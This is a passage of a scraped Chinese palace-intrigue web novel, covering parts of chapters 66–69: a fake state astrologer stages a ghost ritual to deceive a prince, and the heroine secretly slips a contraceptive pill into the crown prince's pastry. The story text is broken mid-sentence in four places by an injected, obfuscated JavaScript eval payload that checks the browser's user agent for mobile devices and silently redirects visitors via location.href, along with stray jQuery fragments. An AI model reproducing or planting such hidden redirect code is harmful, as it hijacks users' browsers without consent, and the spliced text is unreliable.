l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701820|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>穆归衡深吸一口气,尽量心平气和道:“你提个条件吧,要如何才肯为本宫解蛊?” 费红英面不改色:“微臣说过,施下此蛊只为保住自己的性命。殿下只要不杀微臣,就不会受到蛊毒之害。这些日子,咱们不是一直相安无事么?您今日骤然提及解蛊一事,倒让微臣有些含糊了,莫不是……” 她没有继续往下说,但言外之意再清楚不过了——莫不是穆归衡又对她生出了杀意?打算先想办法让她“解蛊”,再杀之以绝后患? “本宫没兴趣取你性命,只想尽早祛除蛊纹。”穆归衡直接挑明了说道,“你大可不必以己之心,度人之腹。” 费红英闻言有些好奇:“不过一块小小的纹样而已,又不在面部,于观瞻无碍,殿下为何非要除了它呢?” 穆归衡显然不想回答她这个问题,出言讥讽道:“国师大人不是号称能通晓万事么?何不丢几个铜板算上一卦,看看它如何回应?” 费红英知道他没有穆归礼那么好糊弄,与其故弄玄虚,还不如打开天窗说亮话。 “殿下若不介意,微臣便猜上一猜。” 穆归衡瞥她一眼,没有作声。 费红英权当他默许了,立时扶着下巴思索起来—— 穆归衡是因为不喜那“蛊纹”的外观,才想除去它么? 应该不是。 那片花纹位于命门穴,即后腰中心,并不在他常常能看到的位置。恰恰相反,想看它一眼还怪麻烦的呢。又要脱衣,又要借助镜面。若无镜子,只怕得把上身拧成麻花才能看到。他若不喜,索性不看它就是了,没道理一定要它消失。 除非…… “殿下请恕微臣直言。”费红英透过眼前飞绡看向穆归衡模糊的面庞,“您是不愿江小姐……喔,是太子妃。不愿她发现您身上有蛊纹吗?” 否则他为何早不来,晚不来,偏偏在二人的婚事定下以后,才匆匆来国师府找她? 穆归衡没想到她真能猜中自己的心思,微微一怔,继而扭过头去轻哼一声,算是委婉地认可了她的猜测。 费红英压下自己不合时宜的叹惜,试探道:“殿下这心思,微臣倒不太懂了。让太子妃看到蛊纹又何妨?不是正好能让她知道知道,您为了救她,都付出了多少嘛?” 穆归衡闻言不屑一哂,冷语嘲弄道:“飞鸿影,你有过心爱之人吗?” 费红英并不介意他的态度,还真仔细想了想,结论是——有,而且很多,但不是他所指的那种“爱”。 “微臣是修道之人,不谈红尘之事。”费红英随便扯了个谎。 穆归衡垂眸道:“所以你不会明白,以后也不必问了,左右都是白费口舌。” 语毕,他起身便走。可走出几步以后,还是忍不住回头留下一句:“你若改变了心意,愿意为本宫解蛊,不论提出什么条件,本宫都愿意商谈。随时恭候。” 费红英望着他离去的方向,不知不觉站了许久。 最后只在心里叹惋一句:可惜你是穆家人。 66. 好姐妹闺中聊私语,安王爷梦里缠…… 是夜,江御暮和费红英又在杏林医馆碰了面。 费红英复述完自己与穆归衡谈话的内容,便向江御暮征询意见:“我是没主意了,你来想想如何应对吧。” 江御暮正在临摹纪青元的“遗书”,闻言并未停笔,安然自若道:“不必应对,他若再去找你,你仍照今日那样说就是了。” 费红英却还不能放心,转而又提起:“他那边暂且不论,你身上的刺青又当如何?若不遮掩遮掩,万一让太子瞧见了,他肯定会觉得我并未移走你身上的‘蛊’。到时候,他还不活剐了我呀?” 听到“活剐”之词,江御暮笔尖一歪,便写废了一张纸。 她将废纸揉成团搁在一边的废纸堆里,换上新纸,又从第一个字开始临摹,平心静气道:“放心吧,我不会让他瞧见的。” 费红英听她这么一说,心里马上冒出来一个疑问,犹豫片刻后换了个位置,从江御暮对面坐到了她身边,压低声音问道:“你不打算与他圆房啊?” 她话音未落,江御暮又写废了一张纸。 费红英见状没忍住,噗地笑出了声,用肩膀轻轻顶了顶她的胳膊,揶揄道:“别装鹌鹑,你跟我有什么不好意思说的?” 江御暮斜她一眼,幽幽道:“我若口无遮拦起来,只怕你就要羞成鹌鹑了。” “哟,是吗?”费红英掩唇笑道,“那我可要洗耳恭听了。” 江御暮没有换纸,接着刚才那个写废的字继续往下临摹,淡然道:“于公于私,我都没有不与他圆房的理由。” 费红英着实好奇,一双狸猫似的眼睛眨巴眨巴,写满了求知二字:“于公如何?于私又如何?” 江御暮与她对视一眼,被那眼神盯得有些无奈,于是用空闲的左手捂住她的双目,回答道:“于公,我得演好与他情投意合的戏码。情到浓时,有些事便是顺理成章的。我若屡屡找借口推拒,只怕会引人怀疑。” 费红英抓住江御暮的手腕,试了试发现推不开,只得作罢,顶着漆黑一片的视野听她继续往下说。 “于私,穆归衡相貌逸群,身材亦是上品。我既已把鱼骗上了钩,哪有不美餐一顿的道理呢?” 虽然看不见江御暮的表情,但费红英听得出来,她说到后半句话时,唇角一定带上了促狭的笑意。 费红英听罢啧啧两声,叹道:“江御暮,你可真是长公主亲生的。” 江御暮移开蒙住她双眼的手,又恢复了一本正经的表情:“嗯,多谢夸奖。” 费红英原坐回她对面,一边帮她研墨一边问道:“既然如此,你又如何能确保不被他看见你腰后的刺青?” 江御暮轻咳一声,一句话概括道:“只要循规蹈矩些,别玩太多花样就行。” 费红英一知半解,似乎还想刨根问底。江御暮着实服了她这股钻研学术似的精神,忙转移话题道:“对了,为免节外生枝,你还得帮我配几服避子药。” 费红英放下墨条:“这个简单,我娘现成配好的就有,不用另配。” 语毕,她便去外间的药柜翻找起来,不多时就带回一个木盒。 “喏,这便是了。”费红英把木盒递给江御暮,补充解释道,“不必日日服用,每半个月给他吃一颗就行。” 江御暮打开盒子一看,里面装着十几颗荔枝核大小的丸药。 涉及知识盲区,她不得不多问一句:“靠谱吗?” “我娘的医术你还不相信啊?”费红英拍着桌子为母亲打包票,接着又凑到她耳边玩笑道,“若是不靠谱,你早该抱上弟弟妹妹了。” 江御暮也不恼,只模仿着费杏林的语气回她一句:“没大没小!” 费红英吐了吐舌头,乖乖回去帮她研墨。 练了许久的字,江御暮终于一气呵成,仿照纪青元的笔迹抄完了整封“遗书”。 深赤色的墨迹一如鲜血,连淡淡的腥气也并无二致,晾干以后,几乎难辨真假。 “你打算把哪封给穆归礼?”费红英问。 “真的给他,假的留着。”江御暮道。 “啊?”这个答案与费红英的猜测完全相反,“咱留假的有什么用啊?” 江御暮卖了个关子:“以后你就知道了。” 语毕,她将两封书信一起收好,说道:“七日后是纪青元的生辰。” 费红英点点头:“明白,我会按时去找穆归礼‘报喜’的。” 她原以为接下来这几日可以清净些了,没想到穆归礼每日都来府上找她,回回都念叨着同样的几个问题。 “王妃的怨气还如当日那般重吗?” “既然在慢慢化解,何时才能彻底散去呢?” “她的怨气散尽以后,您当真能算出那封书信被藏在何处吗?” “本王并非信不过您的神通,实在是兹事体大,必得保证万无一失才行啊……” 叨叨叨叨,费红英耳朵都快听出茧子了,简直懒得再费唾沫,只盼着纪青元的生辰早些来,也好让她尽快了结穆归礼的心事。 她为此事烦心时,远在江府的时异比她更烦心。 江御暮这几日都没怎么出门,书铺的生意也交给了江连镜打理。只有太子入府拜访,江御暮去前厅见他时,时异才有机会偷偷潜入她房中查看。 奈何时异拿不准江御暮何时回来,不敢在她房中多待,每次都提心吊胆,翻找完一小块地界便匆匆回到岗位上,一边忐忑等待,一边暗责自己无能,这次又没找到殿下要的东西。 正因如此,时异连做梦都盼着太子多来江府拜访几次,最好能约江御暮一同出游,玩上三四个时辰再回来。不回来也行,更方便他大肆翻找。 谁知虚耗几日,事情竟有了转机。江御暮这次与太子见面归来,居然给时异布置了一个他梦寐以求的任务。 “明日我不在府中,你务必守好院门,不许任何人进来。” 这样寻常而熟悉的话语,时异听罢竟有些心潮澎湃,强压着喜色试探道:“是,小姐。需要卑职为您预备马车吗?” 如果不需要,就说明她明日要去的地方不远,也许不会耗费太多时间。时异自然希望能听到相反的答案。 “不需要。”江御暮道。 时异有些失望,刚要应声,却发现她还有后半句话没说完。 “我直接坐太子殿下的马车就行。” 时异不由暗喜,自己的愿望竟成真了?他们明日要一同出游? 江御暮瞟他一眼,明知故问道:“你笑什么?” 时异表情一僵,生怕她看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715671|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出破绽,连忙找补起来:“呃,卑职……卑职是为小姐和太子殿下开心。” 江御暮意味不明地抿唇一笑:“以后且有你开心的呢,也不差这一回。” 语毕转身回屋,早早梳洗去了。 明日就是纪青元的生辰,也是费红英“立功”的日子,她自然得早早让出地方来,也好让他们大展身手。 与此同时,穆归衡在太子府中却全无睡意,满心都琢磨着江御暮主动邀他明日出游之事。 旺财在穆归衡身边摇着尾巴,仿佛听懂了他方才那句“御暮说了,明日带你一起去。” 旺财兴奋地“汪汪”两声,穆归衡听不懂,只当它是在问:“去哪?去哪?” “去京郊的湖上赏荷花。”他捏着旺财的两颊说道,“只怕你也赏不出什么名堂,老老实实在船上待着就行。” 旺财又叫唤两声,穆归衡拍拍它的脑袋,正色道:“我就当你同意了,明日务必听话,可不许闯祸!” 旺财没有出声,只用鼻尖蹭了蹭他的腿,继而摇着尾巴走出了寝殿,不知算不算同意了他的要求。 时间匆匆而过,穆归衡在床上躺到很晚才睡着,一夜无梦。 于他而言,无梦其实算得上一件幸事,至少可以睡得安稳些。 同是更深夜阑时,穆归礼就没有那么幸运了。自从在府中设下纪青元的牌位,他就总觉得冥冥中有一双眼睛盯着自己。 今夜子时过半,已是纪青元的生辰,自她离开以后,穆归礼还是第一次梦到她。 不消多说,这肯定是个噩梦。 铺天盖地都是纪青元的声音,缥缈悠远,如鬼如魅,回荡在她以前居住过的寝殿里。 “殿下,你是来找我的吗?” “我就在这里,你有多久不曾见过我了?” “别怕,往前走啊,我不会伤害你的。” 穆归礼无法控制自己在梦中的动作,被迫一步步向她的床榻走去。 床架上垂着一层又一层的帷幔,全都拉得严严实实,看不清里面有什么。 穆归礼站定在床架之前,鬼使神差地伸出手去撕扯帷幔。一层,又一层,仿佛永远撕不完,扯不尽。 他太累了,正想用手擦一擦汗,却发现双手沾满鲜血。一滴,又一滴,落在地上发出刺耳的尖叫声。 再看方才被他扯落在地的那些帷幔,此时已然化作成千上万的细长红绳,仿佛有着生命和灵性,争先恐后地攀上他的双脚,千万绳头仿若千万触手,在他腿上飞快地爬行,顷刻间便勒紧了他的喉咙。 穆归礼渐渐喘不上气了,呼吸变得短促而无力,朦胧中隐约觉得有人在摇晃他的身体。 “殿下,殿下您怎么了?” 听到这句话,穆归礼猛然从梦中惊醒,大口大口地喘着粗气,久久不能定下神来。 “殿下,您没事吧?”陪他一起入睡的护卫温言关切,“是不是做噩梦了?” 穆归礼惊魂未定,缩在他的怀抱里,许久才发出声音:“现在是什么时辰?” “约莫丑时三刻吧。”护卫答道,“还有许久天才亮呢,殿下要不要再睡会?” “不,不!”穆归礼捂着脑袋,情绪渐渐激动起来,“不等天亮了,叫国师现在就来见本王!” 67. 国师难安寝泄私愤,王爷见鬼火许…… 费红英最讨厌的事就是被人搅扰清梦。 大半夜被接到安王府后,她对穆归礼没有一点好脸色,黑着脸道:“殿下做噩梦了?”路上她听护卫说的。 穆归礼坐在桌边,刚喝完一碗安神汤。他不敢详细描述自己的梦境,只问:“国师可有办法为本王驱除梦中的鬼魅?” 他这小半生虽只过了二十余载,死在他手上的人却已不计其数。草芥而已,他从不在意。 可是不知为何,纪青元明明不是他亲手杀死的,穆归礼却对她格外忌惮,唯恐遭她的阴魂索命。 费红英此时心情不佳,出于微妙的报复心理,故意吓唬他道:“今日是安王妃的生辰,有天时之助,其怨气较往日更胜十倍。若以微臣一人之力,实在难以抗衡。解铃还须系铃人,安王殿下,这次怕是得靠您亲力亲为了。” 既然不让她睡个好觉,那就谁都别睡了,她非得好好折腾折腾他。 穆归礼满口答应,急切地问起:“需要本王做什么?” 费红英吩咐一旁的护卫:“去取些金纸来,办白事用的那种。” 护卫有些为难:“禀大人,府上没有这些物什。这半夜三更的,也不好去铺子里买。您看能不能等天亮以后……” 话未说完,穆归礼便抄起手边的茶壶向他砸去,大吼道:“废物!这种事情如何能耽搁?那些铺子没开门,你就不会把门砸开!?” 费红英怕他们吓到无辜之人,忙阻拦道:“不必如此,微臣府上常备着这些物什,让他直接去取就是了。” 穆归礼这才稍稍冷静了些,那护卫不敢耽搁,连浸满茶水的衣服都来不及换就出了门,很快便带回厚厚一沓金纸。 费红英把金纸放在穆归礼面前,严肃道:“殿下会叠元宝吗?” 穆归礼扯了扯嘴角,似乎嫌它晦气,怏怏道:“这些事,一向用不着本王沾手。” 费红英便唤来王府的老管家,让他教教穆归礼。 因着心绪不宁,穆归礼学得很慢,看三步忘两步,折腾了许久才叠出一个元宝。 “还要叠多少啊?”他已经有些不耐烦了。 费红英侃然正色道:“再叠八十个,都必须由您亲手完成。” 此语一出,穆归礼还没说什么,老管家先心疼上了,反驳道:“那如何使得?殿下金尊玉贵,怎受得——” “闭嘴!”穆归礼喝止了他,又问费红英,“此数可有什么说法?” 费红英振振有词:“九九八十一,九为至阳之数,镇得住至阴之气。” 穆归礼想了想,好像的确有这么个说法,于是不再多问,埋头苦干起来。 八十一听着不算太大的数目,穆归礼却从深宵一直忙到了清晨。 打完第一百零三个哈欠以后,他终于可以歇歇了,赶忙伸个懒腰,向费红英问道:“接下来,是不是把它们烧了就行?” 费红英陪着他半晚没睡,哪能这样轻易地饶过他? 与其说此举是为了化解纪青元不得善终的假怨气,倒不如说是为了化解费红英不得好眠的真怒气。 于是她故作高深道:“是,也不是。” 穆归礼唤人送来一盆热水,正在清洗手上沾染的金黄粉末。听了她这句话,忽又担心起来:“大人此话何意?” 费红英神秘一笑,把他带去了纪青元住过的偏院门口。而她曾经的卧房,如今已成了安放她牌位和祭品的处所。 穆归礼一靠近这里就浑身不舒坦,即便有国师陪伴在侧,他也不大乐意走进此院。 奈何费红英一力劝慰:“殿下只要熬过这一步,今后便再也不必为此忧心了。” 穆归礼只得咬咬牙,跟在费红英身后走了进去。 纪青元的灵位前供着许多新鲜瓜果,每日更换一次。桌下摆着一个铜盆,里面积了不少黄纸的余烬。 费红英乍见此景,心中难免感怀:也不知纪小姐如今身处何方,有没有安定下来。说起来,她应该已经改换了姓名,不再是“纪小姐”了吧?安王府那位郁郁不见天日的王妃纪青元,的确已经死了。 费红英命人取来跪垫放在铜盆前,继而遣走所有仆役,这才让穆归礼跪在软垫上。 穆归礼仿佛听到了天大的笑话,抗拒道:“荒唐!从来只有妻跪夫,哪有夫跪妻的道理?” 费红英懒得与他争辩,冷冷道:“不是夫跪妻,是人跪鬼。王妃灵位在此,还请殿下慎言,万一惹怒了她,微臣也无回天之力。” 穆归礼经不得吓,左右看了看,确认仆役们全都离开了,院门也紧紧关着,没人能看见他的窘态,这才慢吞吞地跪在了垫子上。 费红英拿起一个元宝递给他,俨乎其然道:“烧吧。每烧一个,就对她说一句话。每烧满九个,就给她磕一次头。待八十一个全部烧完,微臣就能与她的魂魄对话了。” 她本打算让穆归礼每烧一个元宝就磕一次头,但稍加斟酌后,还是决定把要求降低些,以免穆归礼一气之下撂挑子不干,反而坏了她们的事。 穆归礼拿着元宝语塞半晌,只憋出来一句:“你要本王对她说什么?” 若按他以往的脾气,这句话应该是:本王与这毒妇有什么话可说!? 奈何今时不同往日,穆归礼只想尽快送走瘟神,万不敢在她灵前大放厥词。 费红英悄悄翻了个白眼,心中暗道:说话还要我教?吃饭怎么不让我喂! 她压下这些情绪,糊弄道:“随意说些宽慰之语,劝她放下人世的恩怨,尽快转生即可。” 语毕,她移步站去了穆归礼身后,催促道:“殿下尽快开始吧,切莫误了时辰。” 穆归礼深吸一口气,盯着纪青元的牌位点燃了第一个元宝。 小小一缕火焰在他眼中便如面目狰狞的厉鬼,顷刻间吞噬了金纸,只留下焦黑的鬼影。 穆归礼措了许久的辞,赶在火焰熄灭前的最后一刻才出声:“你……你就安心地去吧。” 费红英揣着手,腹诽道:“我等了半天,你就憋出来这么一句?无聊。” 不过只要开了这个头,后面就容易多了。 只耗半个时辰,穆归礼就说满了八十一句索然无味的劝慰之语,磕够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721795|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了九次头,继而将求助的目光投向费红英,低低唤了声:“大人?” 费红英缓步上前,与他面对面跪在铜盆另一侧,从袖里取出一张符纸,用两根手指夹住,口中念念有词。 穆归礼的目光时而看向她夹着符纸,在空中不断挥舞的手,时而看向她一张一合的嘴,偏偏忽略了她隐在宽袍大袖之下的另一只手。 在他毫无察觉之时,费红英已经把一撮用于助燃的药粉撒入了铜盆。 刹那间,盆内行将熄灭的火苗重新焕发了生机,几乎一蹦三尺高,火星噼啪飞舞,险些燎伤了穆归礼的眼睛。 他一时难以适应这般刺目的光亮,马上闭起双眼,紧接着便听费红英说道:“殿下,王妃有话要对您说,可否由微臣代她转达?” 穆归礼还以为那火焰就是纪青元的鬼魂显灵,一时不敢睁眼去看,只道:“好,好。” 费红英站起身来,居高临下地看着他道:“王妃有三个心愿,只要殿下愿意帮她一一实现,她就答应帮您了却心事。” 穆归礼催促道:“快讲!” “第一个心愿,她希望您永不续弦,今生今世都只有她一位妻子。” 穆归礼不假思索道:“本王答应!此生永不再娶!” 先答应下来,把这鬼东西送走了再说,至于以后是否遵守承诺,他自有另一番道理。 “第二个心愿。”费红英继续说道,“她希望您善待她的家人。” 穆归礼更是没有二话:“好,本王一定为纪家多添田宅,逢年过节另有厚礼!” “第三个心愿。” 费红英又往盆里撒了些药粉,火焰霎时窜得更高。即便穆归礼双眼紧闭,仅凭烟尘与高温也能感受到火势的变化。 “王妃希望您能为她报仇,让害她性命之人血债血偿。” 在火舌的威慑下,穆归礼只敢将双眼睁开一条缝,眯着眼看向费红英。火焰隔在二人之间,使他眼中的她变得面目扭曲,甚至有些可怖。 “究竟是谁害了她性命?”穆归礼高声问道。 他太想知道答案了。纵然在府内自查许久,他也没有得到确切的线索。虽然杀了许多可疑的护卫仆役,但他仍然不能彻底安心。 只可惜,这次他又要失望了。 “王妃说,现在还不是时候,您先留下一句承诺即可。等时机成熟以后,她会把真相告诉您的。” 穆归礼听罢如遭雷击:“她的意思是,她不愿转世投胎,以后还要来找本王!?” 费红英脸色微变,压低声音道:“殿下慎言,万勿触怒王妃。” 穆归礼连忙掩口,接着点点头,闷声应承道:“本王答应,本王答应就是了!” 费红英这才把符纸扔进铜盆,点燃三支香插进香炉,背对着穆归礼开了口。 “王妃说,您要找的东西就在江小姐院内,小池塘底的淤泥之中。” 穆归礼半信半疑道:“江御暮会把书信藏在水里?” 费红英慢悠悠转过身,看向仍然跪坐在地的穆归礼,气定神闲道:“是真是假,一探便知。” 68. 穆太子笑谈姜太公,时护卫觅迹小…… 江御暮一大早就坐上了太子府的马车,穆归衡还没来得及跟她打招呼,就被旺财截了胡。 半人高的大狗兴冲冲往她怀里拱,似乎还想舔一舔她来表达亲昵。穆归衡连忙把它拉开,轻“啧”一声以示批评。旺财只得闭上嘴,试探着把脑袋搭在江御暮腿上,眼神却还委屈巴巴地望着穆归衡。 江御暮捧起旺财的脸揉了揉,笑道:“怎么了这是?可怜见的。” 穆归衡轻拍它脑袋一掌:“它这是饿了,向你撒娇要吃的呢。” 江御暮护住旺财的脑袋,不许他继续拍,问道:“你们早上没喂它吗?” 穆归衡大呼冤枉:“是这家伙自己挑食,喂什么它都不吃,闻一闻就满脸嫌弃地走开了。” 他正说着,旺财的鼻子就动了起来,顶开江御暮的手去嗅她放在身旁的食盒。 穆归衡索性从它身后把它抱走,说是抱,其实旺财的两条后腿都没有悬空,踮着小碎步就被挪了地方。它本欲再度上前,却碍于穆归衡的眼神威慑,不情不愿地止住了步伐,转而端端正正坐在离他们两尺开外的地方,目光却还牢牢锁住江御暮的食盒。 石涅赶着马车一路行至京郊湖畔,直到三人一狗下了车,坐上船,渐渐靠向湖心,旺财的注意力仍然没有丝毫转移,总是见缝插针,一找到机会便把鼻子凑到食盒上闻。 “小旺财,过来。”石涅用鱼竿点点它的脑袋,把它往船舱外引,“陪我钓鱼,钓上来正好给你换换口味。” 旺财虽不大听得懂石涅在说什么,但一看他手里的鱼竿便觉得新鲜,忙不迭追上去嗅竿头的鱼腥味。 江御暮这才打开食盒。上层装着九格点心,每格一块,下层则是些新鲜水果。方才雇船时,还问船家买了些酒水瓜子,一并放在桌上。 “这九块点心里,有一块是我自己做的。”她笑意盈盈,看向穆归衡,“要不要猜猜是哪一块?” 穆归衡刚才就觉得奇怪,为何外圈八块点心都精致而完整,唯独最中间这块外皮开裂,花纹斑驳,而且一拿起来就掉渣。 “是……这块吗?”穆归衡强忍笑意,明知故问。 江御暮轻叹一声,似乎有些懊恼:“我做了十几块呢,就这块的卖相还算能看了。” 这当然是一句假话,其实她只做了一块。卖相好不好都无所谓,馅料才是重点。 穆归衡忍不住弯了弯唇角,宽慰道:“挺好的,很……特别。” “真的?”江御暮听了这话,面上显出几分喜色,“那你快尝尝,好不好吃?” 老实说,穆归衡咬下半块点心的那一刻,完全没有抱任何期待。 结果也不出所料,味道怪怪的,外皮有点咸,内馅有点苦,苦里还加了糖,但是甜味独立于怪味之外,等人后知后觉地品出来,已经有点来不及了。 穆归衡对上她翘首以待的目光,艰难地咽下点心,清清嗓子道:“挺特别的。” “特别……”江御暮有些失落,“就是难吃的意思吧?” 穆归衡连忙找补:“倒也不是,其实——” 江御暮打断道:“我娘做饭也不好吃,可是只要她下厨,我爹就一定会把她做的菜吃光。” 此语中的“我娘”自然是指江淮照真正的妻子谭昭,人是真的,故事却是假的。 事实上,谭昭从不下厨。恰恰相反,某年她过生辰时,江淮照突发奇想,亲自给她下了一碗长寿面。谭昭只尝了一口就放话说,如果江淮照真想祝她长寿,这辈子就不许再进厨房。 最后那碗面还是由江淮照自己吃光了,而他本人的评价是:吃完确实感觉自己折寿了。 至于江御暮做的这块糕点,吃了倒不会折寿,只是馅料里混入了一颗被切碎的避子药而已。 听费杏林说,此药最好能提前几日让他吃下,江御暮便想了这么个办法。 穆归衡不但没有起疑,反而还甘之如饴,一听她用自家爹娘的轶事作类比,立刻便将剩下半块点心吃了下去。 江御暮满意一笑,自己也吃了块点心,忽又问起:“要不要给石涅分去一些?他一个人在外头钓鱼,风吹日晒也怪辛苦的。” 穆归衡摇摇头,掀开门帘指了指石涅所在的方向,让江御暮来看。 二人放眼望去,只见石涅盘腿坐在船头,目光直勾勾盯着鱼漂。旺财安安静静趴在他身边晒太阳,时不时用尾巴勾一勾石涅的胳膊,他也毫无反应。 江御暮不知不觉放轻了声音:“他好专注啊……” 穆归衡嗯了一声,解释道:“就算你把点心给他,他也不会吃的。” 江御暮突然有了个不大靠谱的猜测:“难道他会用点心当鱼饵?那能钓到鱼吗?” 穆归衡放下门帘,靠近她耳边说道:“石太公钓鱼,愿者上钩。” 江御暮不知怎么被这话戳中了笑点,掩着唇噗嗤一声,玩笑道:“可惜他不随我们家姓,否则就是江太公了。” 穆归衡也被逗笑,继而又一本正经地分析起来:“若是这样,你反倒可以分他几块点心吃了。” 江御暮一时没反应过来,问道:“却是为何?” 穆归衡语带笑意:“因为姜太公钓鱼,不用鱼饵啊。” 话音落时,两人对视一眼,很快便笑作一团。 其实这个笑话并不算多么有趣,只不过在如今的天地间,只有他们二人能听懂其中的含义,能通过这个不算巧妙的笑话,短暂地忆起他们曾经属于另一个世界。 另一个共同的世界。 半晌笑罢,二人方才聊起石涅,倒让穆归衡想起了另一件事:“对了,听说你近日新收了个护卫,怎么从不见你把他带在身边?” 江御暮答得坦然:“与其说他是护卫,倒不如说是护院更合适。我家近日遭了贼,雇他来不是为了保护我,只是帮我看家的。” 穆归衡不疑有他,关切道:“江府何时被窃?你们可报官了么?” 江御暮摇摇头,无甚所谓道:“没事,左右也没丢什么贵重物件。” “那也不能掉以轻心。”穆归衡反驳道,“万一此贼先前只是踩点,预备以后再来偷窃呢?” 江御暮若有所思:“嗯,有道理。” 算算时间,某位“贼人”应该已经顺利潜入江府了吧? …… 与此同时,江府偏院。 据费红英“推算”,江御暮今日不在府中。穆归礼便放下了顾忌,熟门熟路地翻墙而入。 他在院中环顾一周,却不见时异的身影,只听得江御暮屋中似有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725431|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响动,便过去敲了敲窗户,唤道:“时异?” 窗户很快被人从里推开,时异探出头来,似惊似喜道:“殿下,您怎么来了?” 穆归礼不与他多言,指着院墙一角的池塘道:“国师已然算出,那封信就被江御暮藏在塘底的淤泥之中。” 时异顺着他所指的方向看去,产生了与他一样的疑问:“把纸藏在水底,那还不泡烂了?” 穆归礼也没有十足把握,只是紧张兮兮地捏着拳头道:“也许江御暮正是摸准了旁人会这样想,才反其道而行之呢?” 时异见他盯着自己,连忙赶在主子开口吩咐前主动请缨道:“殿下放心,卑职这便去找!”此话果然得了穆归礼赞许一笑。 时异顾不上收拾被他翻乱的屋子,匆匆跑到小池塘边,脱了衣服便跃入水中。 这池塘虽然不大,却比他预想的更深。时异水性一般,潜下去不一会就得上来换口气。 穆归礼在一旁越等越心焦,渐渐不耐烦起来,打算在时异下一次露头时催他几句。 不多时,穆归礼就看到时异又从水里冒出头来,正欲出言催促,却听他抢先开口道:“殿下,找到了!” 说着,时异还高高举起一团黑糊糊的东西,泥水顺着他的胳膊往下淌,穆归礼见了不由生出几分嫌弃,屏住呼吸捂了捂鼻子。 时异爬上岸后察觉主子面露不悦,急忙把那团黑糊糊的东西放回水里,淘澄揉搓半晌,继而解开一圈又一圈的布条,扒掉一层又一层的油纸,露出此物的庐山真面目,才重新捧给他看。 穆归礼倾身凑近,定睛一瞧,原来那是一个比他手掌略大的木盒。 打开木盒,里面并未浸水,干干净净躺着一个信封。 拆封取信,几页血字遗书读来触目惊心,落款“安王正妃纪氏青元”八个字又让穆归礼想起昨夜的噩梦,使他捏着信纸的手在不知不觉间颤抖起来。 国师果然没有骗他。 或者……是不是应该说,纪青元的鬼魂果然没有骗他? 她当真以这封书信为筹码,换来了他的三个承诺。 直到此时此刻,穆归礼才生出了与人——不,是与鬼做交易的实感,很快便后怕起来。 如果不能遵守今日的三句诺言,纪青元的鬼魂会怎样折磨他? 穆归礼对阴司之事一窍不通,此刻心中唯念一人——国师飞鸿影。 忆及今早,费红英曾对他说:“微臣身为阳世中人,每次施法与阴曹厉鬼互通言语,都会折损许多修为。今日更是元气大伤,须得回府静养九日,还请殿□□谅。” 人家话已至此,穆归礼又怎好上门打扰?只能暂且压下心中忧思,回府给纪青元多烧些纸钱。 临走前,穆归礼难得体贴一回,用自己的手帕帮时异擦了擦湿漉漉的发丝。 时异受宠若惊,欣喜之际,又听他柔声道:“还有一个重要的任务,唯有你一人能为本王分忧。” “殿下尽管吩咐!”时异很开心自己还有用处,“卑职一定不负您的信任!” “那就好。” 穆归礼的手指顺着他的发丝轻抚着,语气却渐渐变得冷硬。 “江御暮包藏祸心,害得本王担惊受怕,咱们可不能就这么饶了她啊……” 69. 一吻无言圆旧谎,三问有心探前史…… 石太公忙活了大半日,收获颇丰,钓上来一大二小三条鱼。船上条件有限,做不出什么花样,收拾干净烤熟便是一餐。 石涅将大鱼送进船舱,留一条小鱼犒劳自己,还剩最后一条,被他仔细剔净鱼刺,喂给了迫不及待摇着尾巴的旺财,喂完还用湖水帮它洗了洗嘴,夸道:“嗯,终于不挑食了,好狗。” 旺财听懂了夸赞的语气,不免骄傲起来,用脑袋去顶石涅的手,让他摸摸自己。石涅却只敷衍地摸了两把,继而重新拿起鱼竿,跟它商量起来:“不许闹,乖乖趴着睡一会,别打扰我钓鱼。” 旺财应付着哼哼两声,在他身边躺了下来。 天色渐晚,湖上的游船比白日更多一倍。 石涅把全部注意力都放在了小小的鱼漂上,全然没有察觉旺财已经悄悄起身,蹑手蹑脚溜向了船舱。 门帘被它顶起一角,毛茸茸的脑袋瞬时吸引了江穆二人的目光。 “进来吧。” “让它进来吧。” 二人同时开口,继而相视一笑。旺财自知得到了许可,一进船舱便朝主人扑过去。 穆归衡刚把它推开,它的注意力又被桌上的新奇气味勾走了,鼻子闻着闻着,下巴就得寸进尺,搭上了桌面,两眼直直盯着不远处的酒杯。 “怎么,你也想喝?”穆归衡故意逗它,拿起酒杯往它嘴边送。 